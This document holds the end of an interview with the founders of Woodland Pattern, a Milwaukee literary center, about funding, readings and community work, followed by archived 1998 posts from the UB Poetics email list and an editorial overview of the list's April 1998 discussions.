opportunity, which is luck. Doors close and you scramble around and you try to find something else. So far, we've been able to do that, although last year we lost a big part of our budget. With last year's budget, we figured we lost over a third because we lost funding from the National Endowment. But now it's back up to what it was before. Our grant from the Lila Wallace-Reader's Digest Fund helped us leverage money from the other foundations in town. And the Lannan Foundation has helped us out with funding for programming for a second year, which is really great. And we're trying

different fund-raising techniques. KG: We're involved in a really big project right now. They're building a big convention center downtown. We sold them on the idea that a Wisconsin convention center ought to be different than any other by having the words of our own writers on the walls. AK: It's a four-block convention center. It will be the biggest one in the state. We submitted a response to the public arts and we were the top proposal that was accepted. We're putting in the work of between fifty and seventy-five writers, historical and contemporary, throughout the building. It's not going to be painted on the walls because they will eventually have to be repainted, of course. So the letters will be raised or etched in glass or cut into the wood. Words from Wisconsin writers or ones that had substantial connections to Wisconsin. That was and is a big project. So we have that money But since the budget was reconfigured, we're going to end up doing a lot of the work without compensation because we want the project to be successful. KG: When we first started our programming here, and it carries right through to this project for the Midwest Express Center, we always said that we should pay writers that we brought in for readings. We've always made sure we've had enough to pay people's way, but normally more than that. This may be the first project in the country of it's kind where people are actually getting paid for their writing. RCF: Have you ever done much with mail order? Do people come here and recognize your store as a place to get poetry and then order via the mail? AK: We've been working on that. Years ago we received funding for two years under the Community Development Block Grant. They gave us money for computers and an inventory program and a half-salary to do this. We have all the inventory on computer, which is twenty- seven thousand titles right now with fourteen pieces of information on each title, for cross-referencing. So you could call and all we have to do is look it up and send it out. The second step for us was to create annotated lists of ethnically specific areas. We don't have an annotated list of the poetry because it's just too huge. But we do have lists for Native American, Asian/Asian American, Africa/African American/Caribbean, and Hispanic/Latino. This information is available at no cost to people who ask for these catalogs. There's a lot of information in them. They've gone to almost every state in the union, plus Japan and Norway. We also get orders from tribal libraries across the country. There is some mail order, but we would not exist on mail order. It's sort of a supplement to the mission of letting people know what's available. KG: It has actually become quite a substantial part of our book sales. We've been working hard at that and it will improve some more. Pretty soon we're going to have a web page. We can generate a catalog on demand and that's what we'll do, so that it's up to date. We had the opportunity to become a distribution company at one point and just do a traditional kind of mail-order distribution. But I thought it was really important for some kid to be able to walk in the store and find his way. I think it's really important for there to be a point of contact. Maybe that will happen more and

more on the web, I don't know. AK: We would like to use the internet to reach those people who would be interested in what we have but don't know about us. It never made sense for us to do an expensive catalog for two copies of something that was $1.95. But over the computer you can just enter it or take it out. RCF: How many readings do you sponsor in a year, poetry and fiction? KG: The most we've ever done in a year was eighty. But that was eighty readings, music performances, exhibitions, whatever. AK: We do between forty and fifty public events annually. And that includes gallery openings and music events, but the majority of our events are readings. Some are invited national readers coming in, some are regional, some are local. And then we have things like our classes. They have a reading at the end of a class. RCF: What are these classes? And who teaches them? AK: We have writing classes for kids, teenagers, and adults. We have a group of people who are teaching. If someone wants to teach a class, they would send a proposal to us. If it looked pretty good we would work out a percentage payment with that person. We would then advertise it and we would run a class. RCF: Do you track the amount of people who come in for the readings and performances? AK: Yes. We track the number of people coming in. We have exhibits running all the time. KG: We've had all kinds of exhibits, although we're moving more and more towards having people who have done books or are involved with book art. In the spring we're going to have a show by the Waldrops, Keith and Rosmarie. RCF: Why did you move into the least likely neighborhood in Milwaukee? AK: Many of our decisions have been both philosophical and pragmatic. Philosophically, what's the point of moving next-door to the university when there are so many commercial bookstores as well as university bookstores? There's not as great a need. We wanted to be where there wasn't something. Pragmatically we could afford the location, so it worked together. KG: And it's close enough to the university and a lot of university people live in the neighborhood. It's low rent. It's an old working-class neighborhood. RCF: How would you describe your role in the community? AK: I would say that ideally our role would be that of a catalyst. We're putting people together with literature and we hope that something special is going to happen. You may come in and say, "Well I really don't like poetry but I'm interested in baseball." And I could pull out Tom Clark's book on baseball. You might suddenly think that poetry wasn't just something that you hated in public school and was boring and was for ladies with teacups. There are these preconceptions of what it might be. Our role mainly is to put people in touch with their interests so they can say, "This is part of my life and poetry can be part of my life and it's dealing with subject matter I'm interested in." You start where a person is. If they like one thing, you can show them something else. I really believe a lot of it has to do with exposure. When people first come into the new music concerts we're having, especially the improvisational concerts where nothing is notated and it isn't necessarily melodic or rhythmic, some people say "This is awful." But after

you've heard it you start saying, "I like this better than that." You start making judgments on experience instead of an uneducated conception. I think our role is to be a matchmaker between people and books. Because we are nonprofit we are able to do that. Everybody who works here-and our tastes are widely different-has a commitment. They have their own enthusiasm. RCF: Is Woodland Pattern a model for what others could do in other places? AK: I think every place has it's own kind of need. That's what makes all the literary centers different because they're responding to their community. You could have people that have equal commitment, but they have different interests so it would take a slightly different spin. It really has been a part of our lives. It's something that you wake up in the middle of the night with or you poke your partner when they're trying to go to sleep and start bringing up these conversational things. It is your life. In a sense, that's really a fortunate situation because you don't spend a lot of your life doing a job while you spend a little of your life doing what you want to do. KG: We didn't start out from the standpoint of wanting to be a commercial bookseller. We were plopped into a situation where it was already turning towards a nonprofit grant world. That's fortunate-and unfortunate because it shouldn't be necessary. In some ways we've been sort of straddling. You can't just decide what you're going to do based on what people are willing to fund, which is what a lot of people do. They may not die out but they don't look like themselves after a month. AK: We've also had an amazing piece of luck and I don't know that that credit has been given. But one of the reasons we were able to survive at a certain time was because of David Wilk's Truck Distribution. KG: David and I got to be good friends. We used to drive up to Minneapolis and I would go into his basement, which is where he was running his distribution project. We worked out a deal because he was trying to get the books out, too. He was committed the same way we were. He would put things in our store on consignment. We were able to have a lot more books in the store than we had bought. At one point, between David and a lot of other friends who would consign stuff to us, the stock was about two-thirds consigned because there was no other way. AK: When the distribution changed hands and turned into Bookslinger, it grandfathered in. I think we were probably the only account that they sent books on consignment-but of course that's not happening anymore. Consignment allowed us to have a range of things that we didn't know were wonderful but if you don't know it and you don't have a lot of money, where are you going to put your money? Because we ve had those books, we know we want to keep having them. But we've also built up our finances. KG: Another good piece of luck is that we were always profoundly aware of our ignorance. There were two things that came out of that. One was that if we found a press that published a book we liked, we would order pretty much the whole catalog. We would let the editors make our choice for us. The other thing was that we had to trust friends from the beginning. Karl Young and Tom Montag

would go through catalogs with me. We would choose to order that way. But it wasn't by committee. Karl had one set of tastes and I respected him. Tom had another set and I respected him and anybody in town that I respected had another taste and if they wanted to go through the catalogs and mark things I would order them. In that way we could build up a store that wasn't made up of just one sensibility. RCF: How does that work now? AK: The same way. We all have input. People can come in and suggest things. Whenever a writer comes through Karl always asks them, "Who are you reading? Who are you interested in?" If it's not someone we have on hand, then we make sure we order them. Lately we've had a lot of it on hand, which is really nice. But there is still so much we don't know. We just keep asking. RCF: Who had the idea for your promotional mailings? KG: That was a practical thing. At one point it was cheaper to do it that way. It's not cheaper to do it that way anymore. We were holding these events by people that no one knew anything about, which was the whole point of doing them. The way we do our reading series is that we feel somebody is an important writer, we bring him into town and then acquaint people in town. So say you're having this event by Paul Metcalf. You can send out a press release saying he is the great-grandson of Herman Melville and you can put it in a calendar and maybe get it announced in the paper and maybe get yourself and your wife and some friends and Paul Metcalf to come. Or you can ask Paul to send you some stuff that hasn't been published yet and put it in the brochure with a little biography and so on. I wanted to do that for each individual person because it seemed like a way to honor them. I've always hated getting stuff in the mail where I had to keep the whole thing because there was only one thing I was interested in. So I thought if you have this thing and it's not tied together with staples or something people could open it up, go through the envelope and throw everything away except the one thing they were interested in and put that on their refrigerator. The other thing was that printers always have pieces of paper that they cut off to make specific lengths. We developed a relationship with our printer where we could go in and check their waste and design stuff to fit it. AK: Now our mailing list has grown and it's a lot harder to print cutoffs because it's harder to get three thousand pieces of whatever it was. We have gone to a self-mailed flyer for the majority of the newsletters and things we're sending out because it costs the same whether you're doing a small piece or whether you're doing a big piece. They don't want to throw this stuff away if it can be used. We're trying to save money and we're trying to work around what they have. KG: We used to do a mailing for every single event. But then when we started having two or three events in a month, even in those days when it would be cheaper, it would become really time consuming and expensive, let alone counting the time staff puts into it. Now we would have a whole bunch of odd sheets and we could just stuff them in a brown envelope and mail the whole thing. RCF: Do you think everybody in Milwaukee who should know about

Woodland Pattern does know? If not, how much does that bother you and what do you do to try to change that? KG: We've done all kinds of different things. We used to have a dial-a-poem service, but that finally died a couple of years ago. I would record a reading or I would read a poem. And we had an answering machine and we would put that on there and they would get that as a greeting instead of "How are you? Call me back when I'm home." We ran that for about fifteen years. That was the reason we started recording the readings. AK: We have chosen to put our money into the programming and into the newsletter rather than buying adds. The publicity we get is community listings. But because we've been around so long we have a pretty decent working relationship with certain people at the newspaper. They're not going to do a big article on every event, but we re getting some coverage now, so that's okay. KG: It's really hit and miss though. We don't have somebody who trusts us the way we want to trust other people. So we can't get regular attention for all the writers that come through. RCF: What about radio attention, NPR? Do you get any attention from them? KG: Barely. Very little. We've worked at that hard from time to time. I think what we're going to do if we can afford it is to start being a donor, as Woodland Pattern, to public radio so that they have to put something on the air and then maybe we can persuade them to use our tapes. AK: Our goal is for Woodland Pattern to reach a point where we would be recognized as a major cultural institution in the literary arts. Now that doesn't mean we would be downtown in a glamorous edifice. We want the literary arts to be taken as seriously as the symphony. We're not an alternative, we're the thing. We're not an alternative to something else for literary arts; there isn't anything else. KG: We're a public institution. The "public" literary institutions have basically been the university English departments. But they're not really public. And they're not really user friendly. When Anne was involved with the university, we both had decided that the university had become a kind of a priesthood, all these people were speaking in a specialized language to each other. I was pretty disillusioned already. And I wasn't finding any better stuff there, up until we moved to Milwaukee, than I was finding in the commercial bookstores. The reason I got into the position at Boox, Incorporated was that I had taken a class with Jerry Rothenberg, who was here at University of Wisconsin at Milwaukee. So in two years I basically went from rereading Williams to seeing live John Cage and Jerry Rothenberg, Charlie Marrow, Gary Snyder, David Antin, Jackson Mac Low, Jack Higgins, and Allan Kaprow. All these people were coming to the university, but I just had this feeling that we didn't want to be part of it. They can do what we do any time they want to and they can do it better but they won't. RCF: Do you work with the university at all? KG: We're trying to work with teachers for textbooks. Actually one of the members of our board is a special-collections librarian. He's ordering hooks from us (we've be en assured that that's not a conflict of interest). When we have writers come through, their

books will end up in that collection. And if they're book people, they might give a talk at one of the university's book forums. AK: It works better when it's person-to-person so that there are people over there in the university that we work with on an individual level and then they use their connections there. KG: Like Native American studies. Kim Blaeser is a very good fiction writer and poet at University of Wisconsin at Milwaukee. We cosponsor some writers with her. They'll come into town to work with her and then we'll have a public event. AK: We supply a lot of books for Native American studies. A lot of students come to Woodland Pattern to buy books for their Native American classes. We have a good Native American section. But then the money we make from those books is almost always turned over into bringing a writer that fits that particular group. Maybe the money you spend here can turn into a writer for your class. That works out for both of us. KG: Our new idea is to have a literary center in the schools, to have somebody there to bring writers in when they come to us. AK: We're now working with one high school-this is part of our Lila Wallace proposal- Marquette University High School. This happens to be a private high school but there is a teacher there who is really interested in expanding her kids' experiences beyond the normal classroom. She's taking them to readings. She's taking them to plays. Because we met she is now assigning them to come to several readings at Woodland Pattern. And they're going to write or draw responses to these experiences. Now she's broadening her curriculum to work with other faculty members in the arts and music. Then they're going to come back to Woodland Pattern and do a public presentation of what they got from the semester. It's for the kids that they want to come. I think anytime you say, "You forty people have to go somewhere" you're going to get people who are not as interested. But the ones who are interested are the ones who are going to come and then they will respond. RCF: By working with high-school students you begin teaching them about how you go into a bookstore, and how to feel comfortable in them. AK: The other thing is, at least in the arts, and I won't generalize for every city, but in Milwaukee the major core audience for the ballet, the symphony, the theater, is an aging audience. It's people in their forties and above. They're trying to reach a younger audience, and that's not that far off from us. We want to reach into another generation of readers and writers. One of the things that may make us a little different from some of the other centers is that we've always felt that the reader was an important part of the center. Some of the other centers are very much writer-oriented and that's not bad. But now they're seeing that maybe they need to connect the writer and reader. That's something we've always felt was really obvious. We want younger readers to get involved. If you get younger readers, you'll get younger writers because there is going to be some overlap there. RCF: If Barnes and Noble moved in down the street from you, what effect would it have? I've always thought of Woodland Pattern as a model for how a chain really couldn't compete. It seems

if a Borders or Barnes and Noble opened up near you, your business would increase because they wouldn't have a number of poetry books that you have and they would send customers down the street to you. KG: We do have relationships with those people out of necessity, somewhat. It's not necessary for us to carry some things, some of the really mass-market things by writers that might be of interest to many people. We can save our money on that by sending those people to Barnes and Noble and likewise for them. AK: Actually, we have a good working relationship with every bookstore in town. They know they can send people to us. They know what we have. Even Barnes and Noble will send people over. That's the advantage of their hiring locally because they have local people that know what we have. But we will also send other people to other bookstores and we might call to make sure they have it on hand. The primary thing is service to people who want to find whatever it is they want. For instance, we do not have a spirituality section. But there is a bookstore in town that has a lot of books that deal with that and we regularly send people. That works out fine. They send people to us for what we carry. RCF: If you could project ten years from now and if money were not a problem, what would you be doing that you're not doing now? AK: We'd be paying benefits to staff. KG: I'd probably be working here for money instead of as a volunteer. I've always kept my truck-driving job as a buffer against the rise and fall of business. AK: Whatever happens ten years from now is going to be different because we'll both be ten years older and we need to find people who want to continue on and there will be some overlap with what we are doing. RCF: Are those younger people coming along? KG: They're coming along now. Peggy Hong is the person who is running the workshop program and getting workshops and writers into schools. She's working half-time Lisa Corona was an intern last year from a little college called Cardinal Stritch and now we re hiring her. She's really good. She'll be working on audience development and financial management projects. Carolyn Elmer does all of our ordering. She's a real book person. Amy Hoffman is doing a lot of volunteer coordination. And Brooke Barker does all of the work on our catalogs and does inventory work on our computers. AK: There may be new things that we don't see yet, but we've never had the idea that we wanted to grow just to grow. We want to do what we do really. really well and maybe make it deeper rather than wider. We don't know what we don't know, so I'm not sure of what we're not doing that we haven't thought of yet. We would also like, I think, to maintain and keep a professional staff. What we're finding is that younger people are in greater debt coming out of school. I'm amazed at what students have to pay on student loans. It's incredible. Bright, young, literary people, at this point, might not be able to work for a place like Woodland Pattern because we can't afford to pay the money they would need to pay for their education. We want to get to a point where we can pay people like that, to pay people that would be satisfied with making a lot less money than they could

make in other places. At this point, it's so much less-not compared to commercial bookstores because bookstores notoriously don't pay well for general staff-than other kinds of occupations or locations. You can have a passion, but you still have to eat. Especially if you have a family. Those are things you take into account. We've been really fortunate with the people who are on the floor now with us. But I don't know if we can expect the next generation to subsidize the center the same way the current generation has been subsidizing it with wages and no benefits and stuff like that. RCF: How important is it that Woodland Pattern continue after both of you are retired or gone? KG: I don't know. Obviously it's important to me to have it be here, and I think for Anne as well, just for our own education. If it isn't, then people will be back where they were. AK: I would like to see it continue but that will kind of depend on who wants to see it continue past us. We can do what we can but we can't force it. We're not going to be able to make someone have the same feeling for it. It will depend on the demand. RCF: One of the theories about publishers is that they have their own special, limited time. You can look back at Barney Rosset at Grove Press. In some ways he got absorbed by commercial publishing which could then do the books that he broke the ground for. I don't know that the same thing applies to what you're doing; that it's so dependent upon the time in which it was happening, that you only do something really unique for a while and then you become like everybody else. KG: That's a good question because we've always tried to fill a kind of cultural gap. My reason for doing this was because, traditionally, you would only find out about a writer after they were already dead. The ones I was interested in were the ones whom I would find out about after they were gone. I think that finding writers is still going to be necessary whether of not we do it or whoever replaces us. I think someone will find a way to be a conduit. AK: What we've tried, and what I hope continues, is to make people aware of the number of choices that they have amongst all these titles, all these writers. And as Karl said, emphasizing a current group of people who are writing rather than people who are gone. Classics are wonderful and they're classics because they're really good. KG: But they're classics because they had an audience in their own time. AK: And we want to encourage people, in a sense, to find the classics of now and to have the chance to speak with these writers. Some of the really exciting things that we've had the privilege of being part of is introducing a writer to a publisher and have something come out of it. Sometimes it ends up being a book a year or two years later. It's exciting to know that that happened in our living room or at Woodland Pattern, to see those kinds of connections being made. So maybe when Karl or I aren't here anymore, it will stop for whatever reason and it will be an encapsulated, special time. But I'm hoping that it can continue. And it won't be the same, it wouldn't be the same. No one is going to be our clones. So it will be different with whatever, whoever it is that cares about it. RCF: Could you imagine some student who is interested in books

coming here to study what you're doing and then going off to wherever that person's from to start something very similar? Because what you have set up really is, in my experience, unique. Perhaps someone who could look at what you've done, study what mistakes you may have made, how you would have done certain things differently, and go off and do their own thing or make a variation on it. KG: Sure. I could see that, but there would probably have to be a Borders or a Barnes and Noble or an independent bookstore there, too. There would have to be other resources for the kinds of books we don't sell. What we've tried to do here is fill in the cultural gaps. If a graduate student were to start up something like Woodland Pattern, if would be because they have something that they're interested in and that they want to share, but also to fill a gap that exists in their community. Someone night be able to do what we're doing where there really isn't any kind of resources at all. I think it depends on the needs or wants of the community. We almost always have one or two people here at Woodland Pattern, employees or otherwise, that are reading the store carefully No one has gone off and created another literary center, but they've done other things, like magazines. What we think Woodland Pattern could become is a place where you can find a writer and that writer's sources, the writers he or she read. AK: I think what you might find is unique about Woodland Pattern has to do with us being a literary center rather than a bookstore. KG: And the readings being a literary activity and not a booksale opportunity. AK: We're thrilled if we sell books when the writer comes through but the writer is not considered a commodity. They're coming because they're doing something important and we want to share them and whatever they're writing about, with our community. KG: Our readings haven't been directly tied to book publications. Now it's more and more likely that it would be connected to the publication of a particular book, but it's not probable. It happens more regularly now but I bet you eighty percent of our readings have nothing to do with a new book. Maybe more than that. If it has to do with a book it's probably a happy accident. If we hear somebody is on a book tour, like with Curbstone or Coffee House or some other press, or if somebody contacts us and they're going to be on a book tour and they want to read at our place, then it would be connected with a particular book. But it would happen because we were already interested in them. AK: That's true. We're at a point now where we do get a lot of inquiries from people coming through. We can't do all the readings that people ask us to do, at least not the way that we're doing them now. Each reading, each event is special. We really do try to build an audience for each event and not just throw them out there. RCF: Do you have any sense of how many people become buyers of books in your store because they've been to the readings or vice versa? KG: One of the things that's different about us is that we charge admission to readings. The only other places that do that are places like the Art Institute. Most of the universities have them for free and students are required to attend

anyway. People would pay their admission and the books would be there and they would think, "Well I already did my job." But now more and more people are buying books, maybe because of the Barnes and Noble readings. Just before every reading I say, "You have the opportunity to do what you should do in the presence of a writer which is buy their books." RCF: Do you think that your customers first come to the store to buy books or first come to the readings? AK: It cuts both ways. It really does because, in a sense, for each reading we get a different kind of audience and I can use Walter Mosley and Kenneth Koch as two examples. With Walter you might obviously get people who are interested in him because he's a mystery writer. And then you get people who are interested in him because he's a black writer, so people in the black community want to come and support that. And then you get people who are interested in him because he's a big name. And then maybe you get some people who are core who just want to come to a reading, trying things out. Some of those people would only come because it was Walter at Woodland Pattern and then they would buy a book. But it would also be because someone would be there and find out about it and then come to the reading. So it goes both ways. As for Kenneth Koch, there are a lot of people who know him in the educational field because of his teaching books. But then there are those that know him as a poet and they will come to hear his poetry. KG: He is somebody who came because the Lila Wallace-Reader's Digest Fund paid his way on a tour. I don't think we ever could have invited him on our own. It turned out to be a really interesting reading. AK: So there is a case of maybe you wouldn't have selected a person but once they're here you're really glad they came. RCF: Do you establish relationships with a lot of the people you bring in to read? KG: We hope to. You always want to. That's really interesting and that's the part that's really been difficult, psychologically I suppose, to know how much of a relationship you have and if it's strictly a business relationship. With literary relationships it's a lot tougher to make the distinction. It turns out that not very many of them are not more than business. If you can't offer another reading or whatever, then a lot of the times the relationship goes away. If you have a project that involves them, there is a relationship. AK: I think, because we don't really want to treat a writer as a commodity, that some of them are willing to come back when it's less convenient for them. That's a good thing. And there are people who might stop by when they don't have a reading in town or just to say hi. It becomes a friendship that grows out of this other thing. But we always try to have a good time with a person coming through. So you're not just waiting at the hotel until we take you to your reading. Walter enjoyed his reading with us before when he was brought through with the Lila Wallace touring project, even though he can always read at some of the commercial places. Actually, last time he was in town he read at the library, which was a huge event. I talked to his agent and she said that she would like to have him in our thirty by thirty room. Every

other city is having him in these huge auditoriums but she said, "No, that's where he wants to read. With you." Because that's what he wants to support.

(John O'Brien and Christopher Paddock)

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1073. Carkoo
No R¿ses Review
Tue 31 Mar 1998

The final issue of No Røses Review is now available for $6. Send check to:

150 Duane St. #8, Redwood City, CA 94062.

Or e-mail request to:

[redacted].

The issue contains many wonderful poems, including work by Elaine Equi, Graham Foust, Paul Hoover, Caroline Knox, Maryrose Larkin, Rachel Loden, Gale Nelson, Rosmarie Waldrop, Susan Wheeler and MANY others.

-Carolyn Koo, editor

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1074. Henry gould
sound politics
Tue 31 Mar 1998

Regarding the poetry/politics plexus: has anyone thought much about poetry and art as a contribution to noise? May sound ironic coming from the Official Loudmouth himself. And this is not a subtle attempt to suppress the femmes. I am glad for multiplicity here & so graciously always bend low the orb & sceptre of Henrygemony.

I wonder about the ability to hear, apprehend, and respond. And if "get your act out there" is always politically liberating. I talked once a few months back about a quiet homemade reserved shy private approach to this art form. That has come up in recent threads with the talk about people who don't send out their work. Imagine a solidarity not based on ideology so much as on a practice of shy collaborators, extremely local. Who try to focus on hearing what a writer's doing in depth. A lot of what's "out there" seems to celebrate surface, edge, superficiality, topicality, immediacy, power, and stuff like that there. What if it takes a different kind of hearing?

Just had to mumble from the rooftop again. - Henry Gould

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1075. **morpheal**
Re: iceberg lettuce
Tue 31 Mar 1998

> *Iceberg Lettuce for the Soul: Light anecdotes for a thinful Age,*
> *Iceberg Lettuce for the Soul: Jack Handy's thoughts for a post-big hair world.Iceberg Lettuce on Soul (Food): a cookbook for the deep(ness) challenged*
>
> *You could almost publish a whole book of just the titles. At least turn it into a perverse Exquisite Corpse. One of our cat either hates the idea or loves it. She just jumped up here and started batting at the keys...*
> *Tim*

There, another stroke of brilliance....

Another edition that does not decompose on its own after the wrapper is removed from the vacuum pack, but one that is made of kitty litter. Yes, the very pages crumble up as they are read into useful, recycled, kitty litter.

After all, how many people actually read the same book of verse twice ?

Of course, Decompositions Incorporated now has a subsidiary called Reclamations Incorporated and it holds patents pending and trademark registered on the new product line. So get those penny shares now, before they rise sky high to current Wall Street values.....

M.

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1076. **morpheal**
Re: sound politics
Tue 31 Mar 1998

> *Who try to focus on hearing what a writer's doing in depth. A lot of what's "out there" seems to celebrate surface, edge, superficiality, topicality, immediacy, power, and stuff like that there. What if it takes a different kind of hearing?*
>
> *Just had to mumble from the rooftop again. - Henry Gould*

A lot of writers, or perhaps moreso wannabe and would-be-if writers, are definitely co-opted and even brain washed into the cult of Happy Word. If they join the cult of Happy Word, and make nothing but joyful noises, they get something published as their reinforcing reward to do more of that same.

That is somewhat likenable to the franchise served Happy Meal, but definitely more ideological than cardboard sandwiches in styrofoam packaging....

In other words, I think you understated that bit about superficiality.

M.

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1077. **MAYHEW**
Creative Reading
Tue 31 Mar 1998

Did someone on the list ask about Ron Padgett's book "Creative Reading" a few week (possibly months) ago? You might have got your answer but I did find the book while looking at others things in the library. It is published by the NCTE (who also did Rasula's Wax Museum [someone there must an intelligent editorial policy]). This book sits on the shelf next to books on how to teach Johnnie to read, but its approach is totally refreshing--kind of like Kenneth Koch on how to teach children poetry (the book is dedicated to Koch in fact). Lots of Oulipo style games and techniques and a discussion of reading "errors." I sure hope some teachers of "reading" at all educational levels find this book.

My next money-making scheme: an anthology entitled "Language poetry for Children."

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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1078. **MAYHEW**
Creative Reading II
Tue 31 Mar 1998

Sorry to post again in such rapid succession but I couldn't resist.

I used one of Padgett's "creative reading" which consists simply of making a list of nouns and then substituting them for the words in an unrelated text. This is the result of my transformation of a Merwin poem. It made me realize how unsurrealist much "deep-image" surrealism really is:

he says my orchid
said maybe
you have important turn you are doing
or maybe you should be seeing
incongruity I dont want to keep you

I look out the man
my bebop is older than I am
he says and I told my orchid it was so

and I got up and left him then
you know

though there was business I had to go
and immoralist I had to do

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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1079. laura and jeff

*Re: *you're never a latent anything*

Tue 31 Mar 1998

> *Anyway in re conformity take away the smog from the word and you have the problem. Speaking to someone in a recognizable way is conforming, no?*

i was thinking conformity in the ralph waldo emerson conform to society or group or whatever way. but even in speech: each person brings his/her own set of connotations into the conversation, whether they want to or not. so you are making the attempt to conform (just as in person trying to take up, say, christianity) but your individual integrity is still maintained via your individual perceptions. and so: what i was getting at: the problem is the attempt to conform to stuctures. it is the attempt to try to be like someone/thing else. the attempt to deny your individuality. (of course, the attempt to communicate is not necessarily a negative attempt, but it can be.) so: my hope is that if people begin to realize that they can not conform, they will 1) rely on themselves more; and 2) be more open to other people's ideas, etc. ahh... idealism. =) jeff.

Listen,
if the stars are lit
it means there is someone who needs it.
It means it is essential
that every evening
at least one star should ascend
over the crest of the building.

↑ Index

1080. **Rachel Levitsky**
Re: screening process/feminism
Tue 31 Mar 1998

Dodie--I think that is an excellent screening process and am not surprised that it works as a filter.

I was curious about your comment about no longer being a feminist. I often feel like a bad feminist myself but I don't think anything to drastic has changed in me--I'm just more willing to be vocal about all of me, pervert and feminist. Can you enlighten??

R Democracy

↑ Index

1081. **Robert Hale**
Reading Notely's Disobedience
Tue 31 Mar 1998

K. Ledrer's recent post of Alice Notley's "The Poetics of Disobedience", recalls another Notley paper: "Epic & Women Poets" which appeared in "Disembodied Poetics: Annals of the Jack Kerouac School" (University of New Mexico Press, 1994). The following text is excerpted from a review I wrote for Sulfur:

Any language or materially-oriented approach to writing is formidably challenged in Alice Notley's, "Epic & Women Poets" -- one of this anthology's riskier essays in its assertion that "to break and recombine language is nothing" and that "dreams are not language; they are fleshy and vivid, they are 'real.' And they are 'about' us & everything; both the source and paradigm of art. They are the bed of new beginnings, the place to turn." Proceeding against the margins of what the Twentieth Century discourse of language and literature, from Naropa to France, has been about -- (1) the elimination of the subject from language; the deconstruction of language as mimesis of human nature, presence, vision and voice; (2) the critique of the unconscious as the production of desire via the interpretation and use of dreams to cure neuroses or create illusions of self-realization -- Notley discards "language" as a male-dominated, over-determined, dead system. Accordingly, the writing (and reading) of poetry is no longer an exploration of systems of language -- a new way of writing, traceable to Stein through the Objectivists, and to today, via the Language School, that was (and still is) tired of the over-explanation and hegemony of the subject (regardless of its gender), that sought (and still seeks) to make of writing an action, conscious of the fact that what is internal to what is called action is that it does not know itself (which suggests the heart of Buddhism or Suññatã -- voidness: all things, without any exception, especially, the self). For Notley,

whatever "language" was is back to being about the author and the author's dreams, which as Notley asserts, are "more real" than language.

I would add today, moreover, in light of the Disobedience text, that Notley's strategy involves the self in a literalization of the gap between saying and doing. I would equate her two worlds, the "ideal crystalline" one and the "supposedly real" one, with saying and doing, respectively -- This oscillation as a line of escape from perpetually false forms and discourses to "fundamental justice" which is at some point embodied in the act of writing itself, which is only a vehicle for self-realization and coming to terms with "death and responsibility," or "not believing and telling the truth as it comes up" -- historically and politically it is both this revelation, and much more seriously, a mutation in the natural dimension of Western culture: the end of history in the sense in which it is secretly implied by Notley.

↑ Index

1082. Maria Damon (Maria Damon)

Re: Creative Reading

Tue 31 Mar 1998

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uh-oh. a friend and i just put together a book for grades 3-5 w/ lots of this kind of stuff in it. i better check this one out. ours won't be out for about a year.-md

At 4:17 PM 3/31/98, MAYHEW wrote:
>Did someone on the list ask about Ron Padgett's book "Creative Reading" a
>few week (possibly months) ago? You might have got your answer but I did
>find the book while looking at others things in the library. It is
>published by the NCTE (who also did Rasula's Wax Museum [someone there
>must an intelligent editorial policy]). This book sits on the shelf next
>to books on how to teach Johnnie to read, but its approach is totally
>refreshing--kind of like Kenneth Koch on how to teach children poetry (the
>book is dedicated to Koch in fact). Lots of Oulipo style games and
>techniques and a discussion of reading "errors." I sure hope some
>teachers of "reading" at all educational levels find this book.
>
>My next money-making scheme: an anthology entitled "Language poetry for
>Children."
>
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas

>[redacted]
>[redacted]

↑ Index

1083. **Maria Damon (Maria Damon)**
Re: Creative Reading
Tue 31 Mar 1998

---

ps ours will be called, or its working title is, The Secret Life of Words

At 4:17 PM 3/31/98, MAYHEW wrote:
>Did someone on the list ask about Ron Padgett's book "Creative Reading" a
>few week (possibly months) ago? You might have got your answer but I did
>find the book while looking at others things in the library. It is
>published by the NCTE (who also did Rasula's Wax Museum [someone there
>must an intelligent editorial policy]). This book sits on the shelf next
>to books on how to teach Johnnie to read, but its approach is totally
>refreshing--kind of like Kenneth Koch on how to teach children poetry (the
>book is dedicated to Koch in fact). Lots of Oulipo style games and
>techniques and a discussion of reading "errors." I sure hope some
>teachers of "reading" at all educational levels find this book.
>
>My next money-making scheme: an anthology entitled "Language poetry for
>Children."
>
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]

↑ Index

1084. **Aviva99999**
Re: more boring chit-chat
Tue 31 Mar 1998

In a message dated 3/31/98 1:42:12 PM Eastern Standard Time, [redacted] writes:

<< But Helene Cixous's theories on a female language are
interesting when applied to experimental syntax. >>

I'd love to hear more about this...

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1998

743 messages · Sun 22 Mar 1998 – Thu 30 Apr 1998

April opened with a peace and a death the list declined, almost as a point of honour, to notice. The Good Friday Agreement was signed in Belfast on the tenth, Pol Pot died in his sleep on the fifteenth, and the room let both pass — the Cambodian surfacing once, in Elizabeth Hatmaker's aside, gone *"piecefully in his sleep"*, and Ireland arriving not as a settlement but as David Zauhar's hunt for its women poets, Eavan Boland the only name he could summon for his wife's reading. The list spent April taking attendance instead — of who had dropped from an anthology, which shops had closed, which poets had simply vanished — until it was a room organised almost entirely around absence.

The most generous thread was, fittingly, about making poems from what is not there. Jonathan Mayhew asked what to call the form in which a poet writes through a precursor — Spicer's After Lorca, Ronald Johnson's RADI OS, that erasure carved out of Paradise Lost — and the room, which loves nothing so much as a reading list, obliged: Don Byrd proposing *"the back-handed homage"*, Hugh Steinberg adding Tom Phillips's A Humument, and Douglas Barbour, asked for a name, supplying homolinguistic translation in a single reply. It is the list's oldest trick, the lost word produced on demand, never before turned on a subject so exactly its own image: an art of subtraction, the new poem raised in the erased space of the old.

The quarrel was made of the same substance. Ron Silliman opened a thread he called The Book of Absences and listed sixty poets missing from Poems for the Millennium, Jerome Rothenberg and Pierre Joris's second volume — Spicer above all, *"the Spicerlessness of it all"* a lacuna on the scale of a missing Pound. He granted that anthologies are impossible, his own In the American Tree having mislaid Abby Child. Rothenberg answered from inside the book, courtly and wounded at once, calling it a cheap shot and signing himself *"Affectionately (for all of that)"* — the whole tenor of the list in five words. It is a Poetics specialty, the fight over a table of contents that is really a fight over who is permitted to have existed.

